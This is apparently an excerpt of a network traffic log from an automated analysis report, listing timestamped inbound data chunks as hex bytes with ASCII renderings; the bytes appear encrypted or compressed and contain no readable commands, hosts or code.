2022-11-21 18:18:36 UTC	128	IN	Data Raw: 69 4c 3d 45 30 e0 4a d7 09 92 85 96 d6 e4 d2 86 15 ad d2 e8 c1 88 1b ff ec 25 f2 15 77 0a 28 b1 8e 0b 2a ad ce 14 89 21 04 44 00 05 ee bc 2b 63 e6 80 e0 fc 23 16 f2 0b af 83 e9 06 98 fa 7d 61 a3 98 38 f5 1e 92 d9 e6 64 94 7f c7 78 ef 19 bb 5e 85 5d 9e 6e 4e 98 3a d9 34 34 a0 47 b2 9e 80 91 fa b2 ef 07 da fc 54 2c 3c df b5 be 4d fd ff fe 0b ab e1 7c 0a 08 d3 19 fd 13 bd 94 a8 23 92 a6 fa fe 62 ca c8 2b 8c 82 97 b9 39 db 0e fc 53 a6 cf c9 50 14 71 82 77 22 8b 36 c2 3f 2a ee 11 b3 3e 79 02 c6 4e 9d 6c 21 06 6e 2f 81 0e d3 29 76 ed 6b 56 6b 3a 60 be 67 78 ec 55 fd 2f 26 bd 27 f7 82 52 11 3d 94 a6 8d 14 58 5c 47 67 9d d3 6e 14 05 ad 02 65 83 80 bb 7f 93 83 a1 64 ad 0c ab d7 52 70 7a 13 52 5a f5 7a 9e bf 56 3e 34 38 9a b0 6b 24 2e c8 74 e8 e9 57 b7 ea f2 1c 80 Data Ascii: iL=E0J%w(!D+c#}a8dx^]nN:44GT,<M\|#b+9SPqw"6?>yNl!n/)vkVk:`gxU/&'R=X\GgnedRpzRZzV>48k$.tW
2022-11-21 18:18:36 UTC	129	IN	Data Raw: 3b ba 5f 4a 65 e2 bd 58 20 e8 1a 35 f4 b7 50 90 e8 7e ba 9b 1b a0 a5 b3 bf fe c5 30 73 a2 8d b2 46 d9 ac dd d6 d2 a4 38 cd ae 63 8d 3d 45 22 49 5a d2 79 ac 3c a4 af 6e e0 d2 8a 94 9d 91 b8 d1 03 5f 0d 70 d8 d9 50 15 d1 e1 96 d0 b8 73 cd 83 66 93 77 9c a8 b6 a3 6c 11 d3 6d 23 54 8e 17 a1 7e 29 45 f6 c6 0b ff 7e 65 25 4e a1 e9 5c ac 83 e5 3c e2 5e 58 b0 61 6b 37 55 eb 77 d2 c0 97 1a ed e1 e8 ca e4 c5 85 90 37 d9 ac a0 16 d9 23 e3 ba e2 4f df 3b b2 71 92 3c 3c 12 b3 dc ca 12 f6 ba 59 ba e1 99 14 f3 80 d4 59 ce 54 aa 92 53 e1 e9 22 78 7e 9e 38 3b f7 31 7e 55 ad b3 02 5e 58 79 57 7a 9c be 24 56 24 8e 27 71 3e 89 e1 9a 71 cd 54 c2 be 42 2b 1d 08 28 97 94 35 99 0b be 8e e4 e6 bc 47 c6 aa a2 a3 d5 c0 29 f8 20 22 3a 59 e9 3d 8d 6a 1f 77 af 9c 90 0e e1 70 21 1a d9 Data Ascii: ;_JeX 5P~0sF8c=E"IZy<n_pPsfwlm#T~)E~e%N\<^Xak7Uw7#O;q<<YYTS"x~8;1~U^XyWz$V$'q>qTB+(5G) ":Y=jwp!
2022-11-21 18:18:36 UTC	131	IN	Data Raw: 06 79 3f 5f 01 f4 5e 71 78 4f 7a ee 15 7e 15 33 d4 da c1 26 d2 91 5e a5 c5 6e d6 5e e0 5c 0b ac ee af 1e 09 25 25 11 d7 b5 50 12 9a 22 f5 ee 44 8e 98 f4 b7 35 85 2c 05 85 00 f6 9d da 61 a2 92 81 5b da f0 ba 69 dd 52 4b e4 48 8d f6 7e 6a 59 8e 8c 67 2a 66 08 ce a4 83 9e 60 f6 f3 5f 86 e2 7d 00 4a 54 1c 53 8f c2 77 4d 47 46 60 a5 2f 42 b8 2a 62 89 36 d7 0e 3c 6b 06 46 cf 5e d9 77 79 55 3a fe ab 06 15 0f c9 e1 57 2a 14 49 90 09 b4 67 35 b9 e0 fa f8 7a 0a 98 c5 52 0c 04 bb 16 c1 fd b5 77 1a e1 2f b9 31 6b a5 d0 bd 32 02 f9 6f 2d da 21 e0 f8 e0 56 c8 ee 0a aa 3c c3 5d b6 b8 0f e3 73 2f e0 75 f1 27 99 ae 96 b1 3c e1 09 92 b6 86 78 fa 59 a1 11 e8 9e 7f 9d b7 ad f1 2d a7 35 0b da f3 6f bb b1 fc fa 4c d2 a0 a0 b3 5b 0f 78 2a 78 03 dc 4e af ed 6b 45 63 fc 82 13 d4 Data Ascii: y?_^qxOz~3&^n^\%%P"D5,a[iRKH~jYgf`_}JTSwMGF`/Bb6<kF^wyU:WIg5zRw/1k2o-!V<]s/u'<xY-5oL[xxNkEc
2022-11-21 18:18:36 UTC	132	IN	Data Raw: 4a 64 4c 1e 01 10 65 9d cc 9b 31 64 ba 5a 86 07 ba 8a 98 b9 a4 95 95 48 f2 54 0d 25 1f 6a d9 4e e3 d7 72 a1 82 d4 2a a5 e8 3f 51 f4 75 8e 15 1d 24 e1 02 52 41 db dd b4 86 8b 3e 19 66 a0 75 28 96 54 cb 7c f8 46 ff e1 22 d8 9e 92 ec 02 90 0a 64 59 22 c9 9a fb 70 50 72 95 44 f4 62 54 26 20 7a 43 ec 2b 5e 1f 4b d0 16 94 b4 b7 65 00 b8 ed fd 2b a2 5a 8a ea 08 4e 7c 7a 94 b2 55 bb 75 c2 df 2e a3 e5 4e 42 50 af ea 8c 32 89 89 ba a7 86 80 f8 43 2d fb d5 46 65 03 36 63 da d4 a9 3b 1e 3c 38 e2 4d d7 d8 75 3e cd 06 48 5a d1 06 f2 bf 0b 63 44 7d be cd f4 5c 6e 49 77 02 e6 f5 e9 94 1f 76 84 4b be f3 fe 17 54 63 6c b9 18 c0 76 4d b1 cf be bd 08 76 89 67 74 fc ea ad 3a 44 8f c2 e8 8c 5d fb 78 8c 3a ba 5b 28 2e 85 4b 46 aa 29 2f d1 cd 7c a0 29 16 a7 b4 f5 49 db f3 75 e6 Data Ascii: JdLe1dZHT%jNr*?Qu$RA>fu(T\|F"dY"pPrDbT& zC+^Ke+ZN\|zUu.NBP2C-Fe6c;<8Mu>HZcD}\nIwvKTclvMvgt:D]x:[(.KF)/\|)Iu
2022-11-21 18:18:36 UTC	133	IN	Data Raw: b5 e6 6f 21 67 b8 67 63 e8 be 59 00 25 fe a1 30 7d b0 c5 b4 4c 56 08 77 2e 96 1c 5e 11 fb 85 a9 ee 6c aa b6 f5 16 50 69 07 59 61 44 4a 05 25 6a b6 64 0f 00 0e 86 64 fa 4a d6 27 d8 1c 8b b8 b2 46 cd 18 f4 48 aa bc d0 9c be a9 61 cd 04 81 88 de b0 c9 b4 00 ce 04 3c da 25 42 e1 a1 8f e8 29 41 12 08 4e bd 47 27 7c e8 a1 bb 01 79 ce 07 16 1d b2 5e fd fc 98 e6 f5 fd 78 4d 14 c1 f1 47 c7 35 cb f5 b2 ec 8c df 01 38 2d bc cf a6 71 1e 06 f3 9b 2f 80 b7 3a 81 6a fb a8 17 65 da d2 f0 7f 6d 75 65 2d b0 e6 07 63 d8 81 f9 0e 18 85 98 c1 1e 49 78 e2 7a 6b e1 bc 2f 7e 6d 38 ca 6e 7e f3 4c df 9d 7f 3f 14 aa 7b da 3c 8e 64 aa 09 7f 57 32 44 25 e9 e1 aa 82 3a 68 c4 bc e6 4a af 75 d4 f1 95 b6 15 39 8d fb ae 36 ac c4 06 30 0d 44 bf 4b 59 fb 73 e2 c3 53 db b4 0b cf 55 bf d0 53 Data Ascii: o!ggcY%0}LVw.^lPiYaDJ%jddJ'FHa<%B)ANG'\|y^xMG58-q/:jemue-cIxzk/~m8n~L?{<dW2D%:hJu960DKYsSUS
2022-11-21 18:18:36 UTC	134	IN	Data Raw: 95 80 6b a8 e4 65 b7 7e 90 08 c3 7d 37 c5 0d 7e 20 7a 3a 31 78 d2 da fa 89 ff 7b e4 25 7d 07 a1 7d 6d 63 a2 b1 28 e0 de 2f db 67 fa 65 77 6f 29 35 62 4d 78 f6 30 03 21 64 60 0d b5 4d d5 02 1d bf bd 69 c9 a8 da 1e 8d b5 45 cd 8d e2 3d 01 b3 e1 8d 72 ac 9f 3c 14 b7 e7 5e 27 9e ce 84 bc 26 d5 18 2b dc e7 f3 e6 c8 5a 9e cf 22 72 09 04 fa 74 13 92 82 24 54 23 04 a7 ca 5f 29 09 4a 2e 8a 16 8f 23 af 28 ab a9 ad d7 c5 e9 9d 67 92 93 47 10 95 2e a0 1e a1 f8 4c 01 f7 90 39 78 12 d3 f3 55 04 22 73 13 a4 8e c2 b3 8d 69 3a 89 23 0d 76 82 a2 88 b6 b6 0f 2e 63 7b e6 e1 08 ea 08 db 08 63 2c 38 59 24 16 4c 1f c6 be 18 1d bc 63 83 ea 11 78 77 38 a1 1a 6a 73 fb 5f a5 3c ca 00 6e 09 17 b2 41 51 10 20 7d 47 f6 cc 97 4e 00 87 1d 4c 9c a7 12 a5 76 c8 67 dc 4f f5 1c 03 5d a6 bd Data Ascii: ke~}7~ z:1x{%}}mc(/gewo)5bMx0!d`MiE=r<^'&+Z"rt$T#_)J.#(gG.L9xU"si:#v.c{c,8Y$Lcxw8js_<nAQ }GNLvgO]
2022-11-21 18:18:36 UTC	135	IN	Data Raw: f4 4c 2a 5b 65 b7 3e 4e 42 f0 8e 07 b4 7a 05 d5 91 31 98 a9 a4 53 50 b7 5b 2b e3 41 52 97 6d 8c 52 10 39 a2 21 f5 49 8d 4c e5 fa 08 06 dc ee 0c 81 38 e5 de de 5f 86 2a bf 7f 01 91 fd 06 ab 38 37 73 28 32 24 6b d0 ba 9d d1 44 54 3d fc 09 8a 74 5f 5d 61 76 4e b1 0d ab 28 c3 f6 07 c5 1d 5e 1a bc 5c 09 9f e7 85 2e 57 5a 0f 20 75 72 b6 7b 3c 67 3e 80 32 b5 d5 88 54 da 22 c6 6a 71 ed d4 8b 7c 6f 47 8c 02 00 ed 8c 15 11 69 09 98 2a bb e2 70 e9 50 91 9b 24 84 65 02 fd 23 f6 2d 47 1a a4 d7 16 07 f3 9c 9d 38 9c 48 4b 00 2a 0f fe f3 62 ce b2 fa b3 82 a8 21 28 5b 21 1d 1c 9c a8 4b e1 0c 5f c9 08 6f b4 e2 86 a1 e3 b2 cb 06 4a 70 f7 b1 a3 f0 50 bf d6 e8 1a 87 9f 41 05 b2 d1 39 25 df de 39 21 08 ef 87 bc c6 a3 2d b5 e5 69 78 1d 55 ff 7d 00 0e 5f 9d b1 3c 6f 0b 60 22 d5 Data Ascii: L[e>NBz1SP[+ARmR9!IL8_87s(2$kDT=t_]avN(^\.WZ ur{<g>2T"jq\|oGipP$e#-G8HKb!([!K_oJpPA9%9!-ixU}_<o`"
2022-11-21 18:18:36 UTC	137	IN	Data Raw: 55 3c 6e 66 16 ef 1d d1 47 de a3 1e 8d 61 d5 8f f4 f6 18 34 fe c5 4f ec 8b fb a2 b6 1f 6d 5f 6d 57 60 ce 94 03 50 90 f5 18 c9 1c 90 f3 3c 5c eb 8a 4e c3 7a ec 50 dd d9 d7 39 96 14 e5 cd de 53 29 56 93 ef ce 68 12 52 b2 1f 37 94 74 9e b5 4b 76 f5 f3 cf 49 1b 96 32 5a e2 1b e5 89 22 56 d0 02 c1 f1 bc c6 7a 92 61 4f 13 9f 43 d0 d0 c9 ec 0d 47 8d 0d 24 9e 58 6e 6b 30 86 be 61 58 40 e8 bc 2a b9 49 a1 a3 ee e3 36 45 5b 94 95 84 1f 8a 34 81 0a 46 48 17 56 6a 3b aa c7 02 62 1b a7 2f 85 95 5b 08 10 d9 91 da 2a 8e aa 4f aa 94 1b 6e 21 f3 70 68 b2 66 76 85 3a 21 e0 dc 74 9f a8 65 ac 7a d0 a9 4a dd 71 cb 11 32 b1 a9 d0 67 66 6a e3 68 39 9e cc f3 8f 61 03 af e4 42 c2 c8 c2 8c 9b 88 ad b1 a8 d3 9e 99 e4 04 72 67 df 5a 18 9b 17 be 98 5b ca 98 24 22 5f b1 4a dd ee 40 b1 Data Ascii: U<nfGa4Om_mW`P<\NzP9S)VhR7tKvI2Z"VzaOCG$Xnk0aX@I6E[4FHVj;b/[On!phfv:!tezJq2gfjh9aBrgZ[$"_J@
2022-11-21 18:18:36 UTC	138	IN	Data Raw: c2 1e 6f 5b b2 19 1f a7 57 4b 80 ad 86 b3 6d d3 7b fd 00 3a 26 64 2b ad f7 28 fc ab 85 e2 b3 c7 0f 53 dc e5 a4 42 94 a5 e3 4e 77 61 f6 0e a0 8a 0f b9 a8 96 a6 4d 45 98 24 4d 40 7b a3 c2 6a 30 a5 01 c8 a6 12 81 d3 51 e5 50 2b 22 57 e2 68 f6 fd 78 47 7d f8 ba 64 00 12 d5 f1 a1 e7 a2 b7 6d 9d 2d 88 03 9e 01 f3 e8 3f fa 58 92 70 a8 28 31 af 9c a8 4c 01 73 63 e8 5f 40 00 8d 6a 6f a2 0c 19 9c 34 4b 3b 9b 9b a1 bc 73 8c dd 72 53 d0 61 53 f6 80 73 7c 3e 27 d7 f9 e4 63 29 87 fa 36 bd 12 95 6c 20 5e 8a df 11 43 8f a5 3b b6 bf 68 97 5d 95 1e 4b 3c be de 73 2d 89 c3 d5 94 30 70 73 47 36 a3 d2 43 52 8b ef de 39 66 12 15 c6 ca 9b ea 82 83 1d 47 0b 74 6d 5d 19 43 90 d0 8a 3a 81 68 89 01 16 0a df a6 5c 55 6b 97 f0 6c 9a f2 a3 62 9f 7e 42 6b c4 50 c2 01 b1 a5 84 60 b9 21 Data Ascii: o[WKm{:&d+(SBNwaME$M@{j0QP+"WhxG}dm-?Xp(1Lsc_@jo4K;srSaSs\|>'c)6l ^C;h]K<s-0psG6CR9fGtm]C:h\Uklb~BkP`!
2022-11-21 18:18:36 UTC	139	IN	Data Raw: f1 46 94 f5 fc 2a e4 70 00 98 55 f0 4e e6 d9 a9 0d 41 bb f6 f7 1e 38 76 ce ce e5 99 16 14 41 30 92 80 4c 1a 3f 6c e6 da 03 f6 30 fe 72 93 cb c8 0c 9c c4 af 1e 3f c9 27 94 bc 5f 15 11 1b 2e f2 a5 30 58 ad d3 f0 68 46 28 fd c3 cc 45 dc a8 31 f6 cf c3 0e b8 6f 91 7d 6c 72 0c 1a b1 36 ca ce 51 0b c7 9f bd 0a 35 78 9d e8 c8 35 72 c6 12 dc 49 d7 47 e5 a7 44 87 f8 96 3c 20 b0 b6 82 fe 45 45 11 fe 5f 5a 3a 58 43 92 de e9 d5 03 e2 c2 66 35 5f cf bb 3f 88 bd 5c 10 5e 74 97 16 a5 b7 8e 35 5b ab 5b 64 ff 2f fc eb 3a 12 f2 45 d8 c3 9c 26 87 f4 b7 65 52 32 60 57 9d ef c6 99 67 34 7a 4a 29 b0 85 16 18 ad 50 d7 78 49 2f 48 98 61 12 2e 72 dc a7 06 ab 1f db 65 a8 db 27 9c d0 cb 12 cc aa d4 fd 53 28 98 c6 c6 14 00 b2 84 10 ee c7 b8 41 e3 ea ce 2e 48 64 c7 6d 3e 4d ec f8 0d Data Ascii: F*pUNA8vA0L?l0r?'_.0XhF(E1o}lr6Q5x5rIGD< EE_Z:XCf5_?\^t5[[d/:E&eR2`Wg4zJ)PxI/Ha.re'S(A.Hdm>M
2022-11-21 18:18:36 UTC	140	IN	Data Raw: d3 6b 33 49 49 56 43 29 03 4b b5 10 d4 17 c8 15 b1 fc bb 63 13 97 94 66 20 15 87 7c 0c 14 a1 9a bd b6 52 51 6e 92 8c 7e 30 9f f2 5e 24 5e 63 ae 48 38 4c f8 4d d3 dd 5a 0a a6 0f 1a ad 02 6f d8 bc 69 b3 48 47 65 ec 1c 21 0f 65 ee 6c e6 ea 71 6d 9b 46 08 81 cb dc 7b 71 4f b4 2d 71 e7 ef 53 61 14 45 0f 0c 86 58 59 5e 30 2f cd 21 2c 41 c1 20 73 ef b0 df d5 ae 63 13 4c 69 11 94 e8 17 9d 75 d1 81 7f 0f cc 0e f7 fe 4c ab d0 66 22 93 df 82 44 2d f5 e2 7b fc 22 bf 09 5a 95 90 98 9a 5e 8b bc fc ea 62 7f a0 f3 a4 3a 68 9e 41 65 c8 2e cd b4 46 0a 2b 6c 96 69 ce 42 ac b3 70 e3 e4 fb b0 c6 9d a1 24 62 0c d4 66 93 6c 2d 28 cd 87 a8 9b db 67 35 4e df f6 ab aa 4f 64 46 dc 96 b7 68 b3 94 42 d7 83 d3 c0 a3 3a 2b 9b ac 94 04 bc b7 5a 7d 9b 36 5d b3 73 91 7a 79 5a 36 a0 d8 ce Data Ascii: k3IIVC)Kcf \|RQn~0^$^cH8LMZoiHGe!elqmF{qO-qSaEXY^0/!,A scLiuLf"D-{"Z^b:hAe.F+liBp$bfl-(g5NOdFhB:+Z}6]szyZ6
2022-11-21 18:18:36 UTC	142	IN	Data Raw: 3a 89 1d d7 d7 74 a6 a3 0f 8f cb 65 21 98 24 da 35 49 84 68 6b 96 50 6d 84 b5 0d b9 f5 b1 84 f9 84 ea e2 62 37 95 42 33 67 de 43 1a ea 9f 03 85 3d 7d 07 f4 f4 27 f9 65 7d 13 fc aa 46 c7 f3 8f 4d 61 cb 17 75 41 83 99 e5 b5 d7 52 6c 20 7d 03 96 f4 9e 36 23 3c 52 46 cb 2d 22 5e ea 2c 90 10 eb fd da a1 3d 97 de 33 63 76 f3 e4 fe c9 c1 dc 7f cf ab 58 2e cc 09 b8 47 f7 43 b5 fb 80 cb 3c 9a 00 02 2f 0e d4 ce 86 38 36 23 e5 dc aa 75 68 da 75 36 19 0d 5a 9e 88 4c 49 44 42 60 97 5f b5 6a 90 b9 20 f4 73 96 a3 ae ff 40 d4 83 07 32 89 a6 94 aa 46 1f 48 b2 b4 1a b3 49 a2 93 65 66 f3 17 eb ec 5d bb 0c be 58 6c f0 e5 b3 a7 9b 58 58 15 70 49 f9 23 b0 43 6d e1 10 44 00 ad eb ea 27 93 28 4a 40 53 cf 09 fd 0f 88 e8 ec f3 13 e3 c3 17 96 26 c0 fc e2 d2 f3 d7 66 e8 17 3e 66 fb Data Ascii: :te!$5IhkPmb7B3gC=}'e}FMauARl }6#<RF-"^,=3cvX.GC</86#uhu6ZLIDB`_j s@2FHIef]XlXXpI#CmD'(J@S&f>f
2022-11-21 18:18:36 UTC	143	IN	Data Raw: 7c 09 c4 53 02 66 d7 b9 ba 50 5d 8e 04 51 26 f9 a6 fe 1e 9c 35 42 7e 5b 52 a2 f2 bc 6b 44 e2 f1 9a 33 9a ae ec 9a 92 9d 73 f1 c5 b3 d6 25 b6 eb de ce 8c 4c a8 c7 ea cd a0 24 ec 47 1c 22 92 0f 67 36 38 76 2e 39 0e 23 8f a4 dc f9 cd 88 fd 1b 3b 3d 4c 09 04 30 56 f5 0a 5a 73 78 44 ec e1 59 74 4a 72 01 c5 05 90 c1 80 fc b9 8b ce 6e 8c 24 83 d7 8c 09 7f e1 4a 62 29 0a 30 02 fb 42 4a 59 1b a9 46 ed e1 0e bc 53 6e be d6 08 05 23 9c ee 91 18 3b 7f be d1 96 57 37 0e 81 95 6e 6d fd 2f 1f 8c 56 eb 13 ad 25 67 0f c8 5e ab 30 b1 4b 14 a0 f7 07 08 67 48 51 ed e3 c6 b8 a4 51 a0 31 a2 fc 9e 4a 99 ff d2 5e a9 88 96 7b 2c 12 d7 08 16 2f 82 6d 05 66 30 f1 e2 71 81 85 26 ed 73 8a 23 6a 89 1b c5 5f 21 e0 35 ec 93 a4 64 28 78 38 49 89 22 68 9c 3e a3 93 3f 77 b3 e3 d0 f4 d1 e9 Data Ascii: \|SfP]Q&5B~[RkD3s%L$G"g68v.9#;=L0VZsxDYtJrn$Jb)0BJYFSn#;W7nm/V%g^0KgHQQ1J^{,/mf0q&s#j_!5d(x8I"h>?w
2022-11-21 18:18:36 UTC	144	IN	Data Raw: 3a ac a9 de 59 fe 70 ce 9f 8f fe ef 3c a7 bf 35 91 01 fa 70 e7 4a 21 21 8c 54 2b 4b 1d b4 80 87 c4 1b e9 a1 a8 2b 4f 2d ac d6 de a5 86 ae 18 7e c3 fb 48 20 a3 4c 53 d8 32 68 03 c6 57 62 78 11 0e 30 bb 71 2e 7a 90 54 33 d2 5f ef a8 1b 86 94 6b e1 ba ac 60 a7 ea da e2 c5 05 48 dd c6 dd d4 b3 ec fe 46 9e 30 ee de 33 cc e9 c9 41 36 f2 99 d9 4c bb 77 ea 35 5f 7c 8c d0 e0 a3 e6 d0 51 6d 47 65 f2 e7 37 b5 22 be 49 bb 87 ae f0 d9 9c a6 eb 4f 23 4a 5f b3 30 d5 7e f5 6b a4 18 b5 5b 9f 7a a4 e3 0d 5f 2f 4d cf a2 93 58 7c 1c 81 51 30 36 08 73 91 5c 41 b4 0b 23 ee ea 90 f8 79 f3 d1 f5 b9 30 6d 05 c0 b9 3b 27 f0 1a 19 f7 ce f9 10 9f 94 86 66 bd 51 d7 56 b7 aa 9e c8 98 36 84 7d 1e 62 13 35 34 e8 34 75 ee 20 5b d5 74 d9 a9 12 f4 01 4f b4 ff 0b 24 d1 bd 82 2b 67 ef 05 30 Data Ascii: :Yp<5pJ!!T+K+O-~H LS2hWbx0q.zT3_k`HF03A6Lw5_\|QmGe7"IO#J_0~k[z_/MX\|Q06s\A#y0m;'fQV6}b544u [tO$+g0
2022-11-21 18:18:36 UTC	145	IN	Data Raw: c9 92 2a fa 12 c4 31 b9 8f 25 e4 8c ce 74 d8 d3 ba d0 33 ec c3 79 93 59 fa af 14 ed 1b 5a 7b b1 7e e6 14 a8 3b bd 09 69 b0 36 3e 9a 21 ce ac 10 2f 20 e0 02 78 e5 70 3b 43 bf a5 c5 3b a7 94 1c 2c fb 2f 4e 08 1b 17 ce a8 f4 e3 0d 51 62 56 08 1f cc 13 ce 66 3e 51 88 ae fb ef 0f 3e d1 2a 90 38 09 68 19 f6 52 f7 69 1d 5a 46 7c 9f 78 68 1a ce de f3 b7 d3 5b 5e 16 0d d3 c8 ba 81 de c5 84 0b 24 44 24 dd 01 a7 4d 59 97 6a 98 35 13 91 20 bf 04 70 f8 23 f1 35 49 e3 f6 96 a7 d5 f0 ec a5 e4 37 33 d2 db a4 46 83 12 fe ee 46 72 80 ca de bb 56 e3 c0 56 74 7c a9 5f 76 04 39 c3 b1 59 46 30 ef 3a f0 c3 55 f2 1d 09 64 82 9c 83 e0 f5 fa cc 59 ee 08 2f 24 a4 b9 Data Ascii: 1%t3yYZ{~;i6>!/ xp;C;,/NQbVf>Q>8hRiZF\|xh[^$D$MYj5 p#5I73FFrVVt\|_v9YF0:UdY/$
2022-11-21 18:18:36 UTC	145	IN	Data Raw: 3a 58 62 56 1d 9b 4a 73 f8 fe 35 53 6c 25 ab 95 48 79 f4 0d 43 2d 7b b3 a5 fd 8f 88 43 49 aa 49 7c 90 d8 6b 88 30 63 28 c4 66 e3 a4 df 92 35 47 e6 46 9d 0c 51 36 4a f3 bf 3b 90 54 7a 5c 56 9e 67 6a 3a 49 b1 86 6d b8 48 b0 6a f3 06 f1 34 57 6a dc 5e 38 1f d1 07 54 ab 23 df 47 9b e6 aa 8f a4 44 aa 20 52 a8 50 92 49 ec cf 2e 42 bc 68 5a 73 57 37 66 85 cf 55 f5 9d 3b df 49 32 4a a0 e0 92 ab 47 c9 a5 c0 0a ad ba d2 0e 35 d7 d7 ab 54 c7 38 49 c9 40 41 d5 3c 7d 3a b8 b7 ad e8 63 4f d0 65 bb 58 b6 91 04 7f 17 fc af d4 6a a5 65 44 96 18 50 bb 32 56 93 e8 5d 85 9b f4 a4 f6 3a 05 48 15 c9 e8 a6 14 25 a1 ca 5a 15 d4 3b 89 b1 66 50 74 aa 23 5a 61 0b 1d cd ed 7b 04 c8 bf f8 23 c4 ea 8e 77 5f 01 8f 7d b9 a3 b0 8d 2a 78 32 22 64 d3 75 18 a0 96 25 75 29 81 f1 b9 fd 49 72 Data Ascii: :XbVJs5Sl%HyC-{CII\|k0c(f5GFQ6J;Tz\Vgj:ImHj4Wj^8T#GD RPI.BhZsW7fU;I2JG5T8I@A<}:cOeXjeDP2V]:H%Z;fPt#Za{#w_}*x2"du%u)Ir
2022-11-21 18:18:36 UTC	147	IN	Data Raw: 0e c6 da 52 b6 14 0f b9 ef f1 1d 1e 72 22 31 d5 e7 af 2e 30 79 02 e8 5a fe 7a 7f c4 dd d9 7f e6 69 c5 67 a1 fd 35 98 0a 7a 03 c5 2b 29 c9 20 aa 7e a3 a6 dd b6 d7 77 fe a9 ca e0 57 67 b9 8c 53 b6 8e 41 db d3 17 3a 87 39 04 69 81 af 81 1d 5d 99 56 1b 43 88 12 2b 0a fa 10 95 bb 52 43 8d a8 33 19 2f 47 c5 dc 9d f4 a6 9b 86 cb c0 1f 0c 14 5b f8 49 00 39 79 de 09 04 aa dc d8 98 d5 9d f7 36 9f fc 77 7f 31 bb 78 46 e5 b3 84 b9 6f 34 ff ac 43 ad 2f 28 43 3a 97 a6 7d 9c 0b 6a d5 bd 52 22 c0 2d 5f 68 37 13 41 04 2d 3e 0d e3 55 1e a4 33 13 d4 3f ee 5f 15 bb 36 99 53 4d b8 e4 92 84 2f 87 86 8b 72 5e 5d 47 cb fb c3 31 30 2c 79 ed 99 6d 8b 72 71 c4 fa a8 ad 7b 90 4f 1d 98 91 7d 9e e4 18 ed b4 33 9e 1c 27 fd cc 4f 58 56 2a 7f cd 6b 65 c2 c9 11 74 ff 0c d8 79 87 c4 bc ca Data Ascii: Rr"1.0yZzig5z+) ~wWgSA:9i]VC+RC3/G[I9y6w1xFo4C/(C:}jR"-_h7A->U3?_6SM/r^]G10,ymrq{O}3'OXV*kety
2022-11-21 18:18:36 UTC	148	IN	Data Raw: 02 77 0c 6d da 02 da 94 2a 2a a4 1b 25 c3 ed 65 e9 d5 50 17 57 23 7e 33 4d 2c 86 04 ff 1f f7 db 35 fd d8 4c a2 5d 5e 1d 3a b7 f0 9a ba 6f 2c 18 b7 51 90 65 65 f7 a2 fa e4 bb 07 00 78 19 f2 07 05 ea 9a 96 a6 b2 76 63 00 35 d3 a6 54 fb 0c a9 b4 a2 29 22 09 f4 03 8f 16 8c 44 49 7a a1 69 61 4a 71 40 4f 60 ad 2f d9 ad 51 96 c5 21 b7 64 10 6a 9c e4 7e a4 2c a0 74 b5 6d 85 cb e8 de d9 1c 88 f0 dc 50 79 d2 ea c9 f8 bb 4e 6f 3f 12 41 6c b5 25 c0 c3 30 0d ae d6 25 0a 6f bc 42 76 17 5d 48 3a ce 86 c9 2f d2 c0 b8 2d 01 49 84 cf 4a 5e ba e4 11 44 44 4d 5c 1f 53 de 62 b0 8b da 53 2a 4e a7 26 cc 66 12 4e 1c a1 cd 8a a1 70 8a f9 6d 86 7e f9 d6 38 2b e2 81 88 d0 34 a6 92 a6 aa ee 6a 6e f8 fe 95 72 4f 84 1f 37 e2 04 76 73 fb 1e 8b 10 4d 52 ad 5d 82 71 b4 4d c0 57 5c 4a b9 Data Ascii: wm*%ePW#~3M,5L]^:o,Qeexvc5T)"DIziaJq@O`/Q!dj~,tmPyNo?Al%0%oBv]H:/-IJ^DDM\SbSN&fNpm~8+4jnrO7vsMR]qMW\J
2022-11-21 18:18:36 UTC	149	IN	Data Raw: 78 d9 04 81 4e ca c4 93 c1 c7 ef 2e 25 ae 80 e1 59 cb a9 ac 02 e6 5d fe 73 5e 3d 41 d7 2f b9 da 11 37 80 51 26 f0 b8 a9 bc 14 9d bf 55 09 7d b0 c6 19 cf 56 b6 4e a6 7d b5 f2 c8 75 65 9f 90 8a a7 2d 02 1b e0 28 8d 30 df 86 8b 7b f6 e1 ed b8 9c fb ef 41 81 40 5e cd 06 91 8f 9f e5 50 57 36 19 8b 67 1f 70 cd 33 2d e4 9f 93 cc 33 f4 7f e1 e4 83 cc b0 23 40 66 43 27 23 3d c8 cc 33 2a 0c 70 f7 eb f1 00 cb 65 99 46 d0 31 69 4d 68 11 60 b7 c8 5b 88 ee a8 f0 61 d5 17 b7 a9 85 5e 51 75 3a 8f 49 89 a4 87 48 fd 7d a8 55 1a b0 0a 2a 36 7c d1 6e bd 2d eb ff 5e 10 ea 5e 2d 24 b7 ad 95 14 2c b0 b6 d4 20 b3 dc 82 e1 c7 b2 0a 34 af de d7 01 d5 a8 d8 5b ff b6 30 ea d8 db 55 12 43 c4 64 82 08 6f e9 c2 de 06 92 6e 76 d7 13 b8 5d 5e 6b ea 68 50 7a 65 03 9b 83 51 84 de 70 2d 9a Data Ascii: xN.%Y]s^=A/7Q&U}VN}ue-(0{A@^PW6gp3-3#@fC'#=3peF1iMh`[a^Qu:IH}U6\|n-^^-$, 4[0UCdonv]^khPzeQp-
2022-11-21 18:18:36 UTC	150	IN	Data Raw: 13 3e 8e 12 49 ef 14 34 0a 4f e8 93 20 6b aa a9 09 74 8f 56 5b a9 bf 50 89 4f 60 d0 16 9b f5 1b ea 27 76 2b dd 35 d7 fe 8a 9d 54 21 df 17 0e 07 26 7f 9b 0e 6b c2 27 d2 55 63 7a ca 78 b8 a2 1e e4 a4 35 98 e6 18 40 87 d1 6b e0 1e 2b 4c a0 74 de 5c 8a 4d 30 0a 0d 82 fa 24 2a 6d 9e cc 84 0d b2 b8 32 c9 2c 7a 80 2a a9 29 9e dc 38 04 d5 20 37 a7 e4 d9 3c dc 01 e0 21 e0 b2 78 af 05 ec 6b 0c db b5 61 02 8f 5e 91 04 f7 f4 22 73 be 61 84 8f 37 44 13 b4 08 2a a0 c7 a8 91 b3 05 d4 d3 4d 89 79 4c 26 27 b7 2c a0 52 68 d5 3f 1e 85 b7 41 40 69 ba 0d e1 83 1a ca 71 48 f2 f7 99 58 26 34 43 4e 0a de 39 a7 d8 9f 3f 30 48 8f 05 15 4c 54 ba 0d d6 e3 3e ea b7 46 87 5b 1d b3 0f 4c 92 33 ed 97 78 96 42 08 49 74 7b d8 0f 60 d4 52 5d cd 7f 8f 1c de f7 fa 9a bf e7 63 c7 5b 89 81 01 Data Ascii: >I4O ktV[PO`'v+5T!&k'Uczx5@k+Lt\M0$m2,z)8 